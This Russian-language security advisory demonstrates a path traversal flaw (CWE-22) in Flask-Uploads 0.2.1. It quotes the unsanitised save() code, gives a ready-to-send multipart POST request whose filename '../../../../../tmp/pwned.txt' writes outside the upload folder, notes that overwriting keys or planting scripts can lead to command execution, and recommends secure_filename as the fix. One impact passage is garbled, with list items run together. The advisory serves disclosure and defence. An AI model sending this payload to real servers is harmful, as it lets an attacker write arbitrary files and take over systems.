
Демонстрация path traversal CWE-22 в Flask-Uploads 0.2.1. Только для образовательных целей и исследований в области безопасности. Протестировано на Python 3.11.
Критическая уязвимость обхода пути существует в Flask-Uploads версии 0.2.1. Библиотека не выполняет надлежащую очистку имен загружаемых файлов перед сохранением их в файловую систему.
В частности, метод save() в flask_uploads.py напрямую объединяет путь для загрузки с именем файла, предоставленным пользователем, с помощью os.path.join(). Это позволяет атакующему включить последовательности обхода каталогов (например, ../../) в имя файла, что дает возможность записывать файлы в произвольные места в файловой системе сервера.
Файл: flask_uploads.py (Строка 132 в v0.2.1)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
Приложение полагается на разработчика, который должен очистить имя файла, но документация библиотеки подразумевает, что она безопасно обрабатывает загрузку файлов. По умолчанию, если разработчик передает необработанное имя файла из запроса, это приводит к уязвимости.
ssh_host_key, конфигурационные файлы)..php, .py) в каталог, который выполняется веб-сервером (например, cgi-bin или известная статическая папка), атакующий может выполнять произвольные команды на сервере.Атакующий может воспользоваться этой уязвимостью, отправив POST-запрос с поддельным именем файла:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
Если сервер использует Flask-Uploads для сохранения этого файла, он будет записан в /tmp/pwned.txt вместо предполагаемого каталога загрузки.
Библиотека должна проверять, что объединенный путь находится в пределах предполагаемого каталога, используя os.path.abspath и startswith, или всегда применять функцию очистки, такую как werkzeug.utils.secure_filename.
Рекомендуемое исправление:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)